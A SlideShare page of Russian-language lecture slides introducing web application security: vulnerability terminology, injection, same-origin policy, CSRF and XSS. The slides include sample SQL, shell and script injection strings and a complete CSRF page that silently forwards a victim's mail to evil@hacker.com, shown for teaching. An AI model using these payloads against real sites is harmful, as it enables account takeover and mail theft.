Risspa 09

9,482 views

Published on

0 Comments
0 Likes
Statistics
Notes
  • Be the first to comment

  • Be the first to like this

No Downloads
Views
Total views
9,482
On SlideShare
0
From Embeds
0
Number of Embeds
7,593
Actions
Shares
0
Downloads
21
Comments
0
Likes
0
Embeds 0
No embeds

No notes for slide

Risspa 09

  1. 1. БЕЗОПАСНОСТЬ ВЕБ-ПРИЛОЖЕНИЙ Starter Edition, part I Петухов АндрейFriday, September 28,
  2. 2. Содержание Broken Terminology (сегодня) Broken Web (сегодня и в следующий раз) Broken Defenses (в следующий раз)Friday, September 28,
  3. 3. Broken Terminology Путаница в концептах ✓ Недостаток/Уязвимость/Угроза/Атака Путаница в классификациях и рейтингах ✓ “аудит по классификации OWASP Top 10” ✓ OWASP Top Ten - рейтинг критичности уязвимостей в веб-приложениях ✓ SANS Top 25 - рейтинг критичности ошибок в ПО ✓ WASC Threat Classification - попытка классификации атак ✓ Common Weakness Enumeration - индуктивная классификация недостатковFriday, September 28,
  4. 4. Broken Terminology Путаница в определениях ✓ Wiki: Cross-site scripting (XSS) is a type of computer security vulnerability … that enables attackers to inject client-side script into Web pages viewed by other users. ✓ WASC: Cross-site Scripting (XSS) is an attack technique that involves echoing attacker-supplied code into a users browser instance. ✓ OWASP: Cross-Site Scripting attacks are a type of injection problem, in which malicious scripts are injected into the otherwise benign and trusted web sites. ✓ CWE-79: The software does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. Consider this ✓ XSS - в первую очередь атака! ✓ XSS можно провести через DNS rebinding или Cache Poisoning; подходит ли это хотя под одно определение? ✓ The same weakness could be exploited for XSS, redirecting to malicious site (hello, Open Redirect!) or even Session Fixation. Try to guess how!Friday, September 28,
  5. 5. Broken Terminology To add insult to injury ✓ “открыт новый класс уязвимостей” - Simple HowTo: 1) Google for rare DSL with dynamic code execution feature - 2) Make a PoC when you can inject DSL-commands into DSL-program - 3) Submit your talk about brand new vulnerability class for conference ✓ “открыт принципиально новый вид атак” ✓ [2005 год] CSRF - новый вид атак? ✓ [2008 год] А UI redressing (Clickjacking)? ✓ Говорят, это все Confused Deputy ✓ Еще говорят, новых классов уязвимостей вообще быть не может ✓ А еще говорят, что классификацию уязвимостей вообще невозможно построить (см. “A critical analysis of vulnerability taxonomies”) ✓ И последнее: SQLi можно использовать для DoS, можно для Authentication Bypass, а можно для Authorization Bypass (Privilege Escalation)Friday, September 28,
  6. 6. Insight into weaknesses Есть классификация по времени появления ✓ проектирование, кодирование, внедрение, эксплуатация, [выведение из эксп.] Большинство появляется при кодировании ✓ Из-за отсутствия или неполной реализации механизмов обеспечения ИБ ✓ Из-за некорректной обработки входных данныхFriday, September 28,
  7. 7. Downstream Components ✓ Веб-приложение в процессе работы взаимодействует с различными внешними подсистемами: СУБД, LDAP, стандартный интерпретатор ОС, почтовый демон, браузер, файловая система и т.п. ✓ У большинства подсистем есть свой язык, который она умеет интерпретировать: SQL у СУБД, Shell/CMD у стандартного интерпретатора ОС, SMTP-команды у почтового демона, HTML и Javascript у браузера и т.п. ✓ Обращения веб-приложения во внешние подсистемы параметризуются: есть константная часть и есть переменная, значение которой формируется динамически с участием пользовательских данных - шаблоны HTML-страниц, заполняемые данными из СУБД или из запроса - заготовки SQL-запросов, SELECT-критерии в которых заполняются на основе входных параметров - заготовки Shell-команд, к которым необходимо добавить только аргумент - обработка запроса http://newsfeed.us.to/news.php?id=17 может включать PHP-оператор вида mysql_query(“SELECT * FROM news WHERE id = ”.$id);Friday, September 28,
  8. 8. The Essence of Injection ✓ В каждом языке определены ключевые слова, разделители, правила оформления секций данных (в т.ч. строк и констант): ➡ SELECT * FROM news WHERE author = ‘petand’ ➡ <a href=”/show?id=1”>View first</a> ➡ eval({ id: 1, name: "Foo", price: 123}) ➡ grep -R “search string” * ✓ В каждом запросе или команде к внешней подсистеме есть контекст команд (Control Channel) и есть контекст данных (Data Channel) ✓ Injection-атаки становятся возможными, если внешний пользователь сможет выйти из контекста данных в контекст команд: ➡ SELECT * FROM news WHERE author = ‘petand’ or sleep(5) -- ‘ ➡ <a href=”/show?id=”1”><script>alert(1)</script><a id=””>View first</a> ➡ eval({ id: 1, name: “Foo”});alert(1);//”, price: 123}) ➡ grep -R “search string” 1; echo “p0wned” #” * More here: http://cwe.mitre.org/data/definitions/74.htmlFriday, September 28,
  9. 9. Examples of Injection ✓ SQL-операторы ➡ если входные данные не обрабатываются при построении SQL-запроса ✓ HTML-разметку ➡ если входные данные не обрабатываются при построении HTML-страницы ✓ Javascript-операторы ➡ если входные данные не обрабатываются при построении JSON-объекта ✓ CSS-директивы ➡ если входные данные не обрабатываются при построении CSS-правил ✓ HTTP-заголовки ➡ если входные данные не обрабатываются при построении ответного заголовка (например, Location) ✓ XPath-операторы ➡ если входные данные не обрабатываются при построении XPath-запросаFriday, September 28,
  10. 10. Testing for Injection ✓ Методы обнаружения != методы эксплуатации ➡ при обнаружении устанавливается факт наличия недостатка ➡ при эксплуатации достигается конкретная цель ✓ Что можно наблюдать в режиме черного ящика? ➡ статус HTTP-ответа (200 vs 500), заголовки ответа ➡ тело ответа, задержку ответа ✓ Надо пытаться выйти за контекст данных ➡ надо уметь терминировать текущий контекст данных (пресловутая кавычка) ➡ надо уметь добавлять команды так, чтобы итоговый запрос во внешнюю подсистему оставался синтаксически корректным и после внедрения ➡ надо уметь влиять на наблюдаемое поведение (например, вызывать задержку) ✓ Типичные значения для тестирования ➡ 17‘ and sleep(5) -- ➡ “><script>alert(1);</script><a id=”Friday, September 28,
  11. 11. Broken Web Cross-origin resource linking & CSRF Same Origin Policy & XSS Content types and content sniffingFriday, September 28,
  12. 12. WWW-linking Cross-domain resource linking ➡ <img src=”http://photohosting.com/cute-kitten.jpg” /> ➡ <link rel=”stylesheet” type=”text/css” href=”http://othersite/mystyle.css” /> ➡ <script src=”http://js-vault.us.to/cute-library.js”></script> ➡ <iframe src=”http://socialnetwork.no/social.windget” /> Ambient credentials ➡ cookies ➡ HTTP-authorization Let’s have some fun!Friday, September 28,
  13. 13. CSRF <html> <head><title>All you mail are belong to us</title></head> <body onload=”CsrfForm.submit();”> <img src="http://www.jewelrynutauctions.com/wp-content/uploads/cute-kittens-20- great-pictures-1.jpg" /> <form id=”CsrfForm” action=”http://mail/actions/add” method=”POST”> <input type=”hidden” name=”type” value=”forward” /> <input type=”hidden” name=”condition” value=”all” /> <input type=”hidden” name=”target” value=”evil@hacker.com” /> </form> </body> </html> ‣ CSRF - это выполнение действий! ‣ Смена пароля, смена почты, добавление админа и т.п. ‣ Считывать ответ от CSRF-запроса не даст SOP ‣ WTF SOP????Friday, September 28,
  14. 14. Same Origin Policy Зачем какой-то CSRF, когда можно было бы сделать так: <html> <!-- HTML page hosted at http://evilhacker.us.to/bank-hijack.html --> <head><title>All you bank accounts are belong to us</title></head> <body> <!-- Important step of an attack: cute little kittens should still be there! --> <img src="http://www.jewelrynutauctions.com/wp-content/uploads/cute-kittens-20- great-pictures-1.jpg" /> <iframe name=”bank” src=”https://myprivatebank.no/myaccount/transfers/history” /> <script> document.bank.document. // <---- read whatever you want! </script> </body></html> SOP simplified: код из одного источника не может читать или изменять DOM-объекты другого источника Источник = протокол + домен + порт More here: http://www.w3.org/Security/wiki/Same_Origin_PolicyFriday, September 28,
  15. 15. Cross Site Scripting Цель XSS - обойти SOP Для этого надо, чтобы наш javascript вернулся в браузер пользователя из того источника, DOM которого мы хотим считывать (https://myprivatebank.no/) Возможность внедрения HTML-разметки позволяет сделать ровно это: вставить в приложение скрипт, который потом загрузит жертва в свой браузер в контексте нужного источника В общем случае XSS позволяет делать с уязвимым сайтом все то же, что может делать пользователь, загрузивший XSS-скриптFriday, September 28,
  16. 16. XSS: common cases Reflected vs Stored XSS vs [DOM-based] ✓ reflected могут быть отражены AntiXSS фильтрами в браузерах (IE, Chrome, NoScript) ✓ про экслуатацию DOM-based затруднительно узнать из логов сервера With user interaction vs W/o user interaction Browser specific vs Browser agnostic XSS over CSRFFriday, September 28,
  17. 17. XSS exploitation The BeeF Project DEMO http://www.youtube.com/watch? v=XsXOYwZkTyoFriday, September 28,
  18. 18. В следующий раз Broken UI (UI redressing) Broken cookies Broken HTTPS Атаки класса XXE Почему разработчики веб-приложений должны знать про особенности каждого браузера Broken Defense (WAF, browser security and other)Friday, September 28,
  19. 19. Спасибо за внимание! Вопросы? Twitter: @p3tand Blog: https://andrepetukhov.wordpress.com/ Email: andrew.petukhov@internalsecurity.ru Видео лекций: https://www.youtube.com/playlist? list=PL2173C4AB816E4F3F Must read: “The Tangled Web” by Michal ZalewskiFriday, September 28,

×